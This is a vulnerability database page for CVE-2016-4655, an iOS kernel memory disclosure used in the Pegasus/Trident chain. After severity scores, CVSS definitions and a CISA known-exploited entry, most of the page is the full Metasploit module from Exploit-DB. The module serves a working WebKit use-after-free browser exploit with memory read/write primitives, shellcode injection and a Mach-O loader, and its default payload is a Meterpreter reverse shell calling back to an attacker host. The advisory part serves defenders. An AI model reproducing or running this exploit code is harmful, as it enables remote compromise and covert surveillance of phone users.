CVE-2016-4655 Detail

CVE-2016-4655

Score / Severity

5.5

Medium

EPSS

15.86%V3

Vector

Local

Published

2016-08-25
21h00 +00:00

Modified

2025-01-29
17h46 +00:00

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CVE.org

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CVE Descriptions

The kernel in Apple iOS before 9.3.5 allows attackers to obtain sensitive information from memory via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE Other	No informations.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	5.5	MEDIUM	CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.1		AV:N/AC:M/Au:N/C:C/I:N/A:N	[email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apple iOS Information Disclosure Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-05-23 22h00 +00:00

Action is due : 2022-06-13 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 44836

Publication date : 2018-06-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'WebKit not_number defineProperties UAF', 'Description' => %q{ This module exploits a UAF vulnerability in WebKit's JavaScriptCore library. }, 'License' => MSF_LICENSE, 'Author' => [ 'qwertyoruiop', # jbme.qwertyoruiop.com 'siguza', # PhoenixNonce 'tihmstar', # PhoenixNonce 'timwr', # metasploit integration ], 'References' => [ ['CVE', '2016-4655'], ['CVE', '2016-4656'], ['CVE', '2016-4657'], ['BID', '92651'], ['BID', '92652'], ['BID', '92653'], ['URL', 'https://blog.lookout.com/trident-pegasus'], ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'], ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'], ['URL', 'https://github.com/Siguza/PhoenixNonce'], ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'], ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'], ], 'Arch' => ARCH_AARCH64, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Aug 25 2016')) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ]) ]) end def on_request_uri(cli, request) print_status("Request from #{request['User-Agent']}") if request.uri =~ %r{/loader$} print_good("Target is vulnerable.") local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" ) loader_data = File.read(local_file, {:mode => 'rb'}) send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) return elsif request.uri =~ %r{/exploit$} local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" ) loader_data = File.read(local_file, {:mode => 'rb'}) payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}" payload_url_index = loader_data.index('PAYLOAD_URL') loader_data[payload_url_index, payload_url.length] = payload_url send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) print_status("Sent exploit (#{loader_data.size} bytes)") return end html = %Q^ <html> <body> <script> function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); req.overrideMimeType('text/plain; charset=x-user-defined'); req.send(null); return req.responseText; } var mem0 = 0; var mem1 = 0; var mem2 = 0; function read4(addr) { mem0[4] = addr; var ret = mem2[0]; mem0[4] = mem1; return ret; } function write4(addr, val) { mem0[4] = addr; mem2[0] = val; mem0[4] = mem1; } filestream = load_binary_resource("exploit") var shll = new Uint32Array(filestream.length / 4); for (var i = 0; i < filestream.length;) { var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24); shll[i / 4] = word; i += 4; } _dview = null; function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } var pressure = new Array(100); var bufs = new Array(10000); dgc = function() { for (var i = 0; i < pressure.length; i++) { pressure[i] = new Uint32Array(0x10000); } for (var i = 0; i < pressure.length; i++) { pressure[i] = 0; } } function swag() { if (bufs[0]) return; for (var i = 0; i < 4; i++) { dgc(); } for (i = 0; i < bufs.length; i++) { bufs[i] = new Uint32Array(0x100 * 2) for (k = 0; k < bufs[i].length;) { bufs[i][k++] = 0x41414141; bufs[i][k++] = 0xffff0000; } } } var trycatch = ""; for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; "; var fc = new Function(trycatch); var fcp = 0; var smsh = new Uint32Array(0x10) function smashed(stl) { document.body.innerHTML = ""; var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]); write4(jitf, 0xd28024d0); //movz x16, 0x126 write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4 write4(jitf + 8, 0xd4001001); //svc 80 write4(jitf + 12, 0xd65f03c0); //ret write4(jitf + 16, jitf + 0x20); write4(jitf + 20, 1); fc(); var dyncache = read4(jitf + 0x20); var dyncachev = read4(jitf + 0x20); var go = 1; while (go) { if (read4(dyncache) == 0xfeedfacf) { for (i = 0; i < 0x1000 / 4; i++) { if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever { go = 0; break; } } } dyncache += 0x1000; } dyncache -= 0x1000; var bss = []; var bss_size = []; for (i = 0; i < 0x1000 / 4; i++) { if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) { bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000); bss_size.push(read4(dyncache + i * 4 + (0x28))); } } var shc = jitf; var filestream = load_binary_resource("loader") for (var i = 0; i < filestream.length;) { var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24); write4(shc, word); shc += 4; i += 4; } jitf &= ~0x3FFF; jitf += 0x8000; write4(shc, jitf); write4(shc + 4, 1); // copy macho for (var i = 0; i < shll.length; i++) { write4(jitf + i * 4, shll[i]); } for (var i = 0; i < bss.length; i++) { for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) { write4(bss[i] + k * 4, 0); } } fc(); } function go_() { if (smsh.length != 0x10) { smashed(); return; } dgc(); var arr = new Array(0x100); var yolo = new ArrayBuffer(0x1000); arr[0] = yolo; arr[1] = 0x13371337; var not_number = {}; not_number.toString = function() { arr = null; props["stale"]["value"] = null; swag(); return 10; }; var props = { p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 }, p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 }, p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 }, length: { value: not_number }, stale: { value: arr }, after: { value: 666 } }; var target = []; var stale = 0; Object.defineProperties(target, props); stale = target.stale; stale[0] += 0x101; stale[1] = {} for (var z = 0; z < 0x1000; z++) fc(); for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { if (bufs[i][k] == 0x41414242) { stale[0] = fc; fcp = bufs[i][k]; stale[0] = { 'a': u2d(105, 0), 'b': u2d(0, 0), 'c': smsh, 'd': u2d(0x100, 0) } stale[1] = stale[0] bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh bck = stale[0][4]; stale[0][4] = 0; // address, low 32 bits // stale[0][5] = 1; // address, high 32 bits == 0x100000000 stale[0][6] = 0xffffffff; mem0 = stale[0]; mem1 = bck; mem2 = smsh; bufs.push(stale) if (smsh.length != 0x10) { smashed(stale[0]); } return; } } } setTimeout(function() { document.location.reload(); }, 2000); } dgc(); setTimeout(go_, 200); </script> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html'}) end end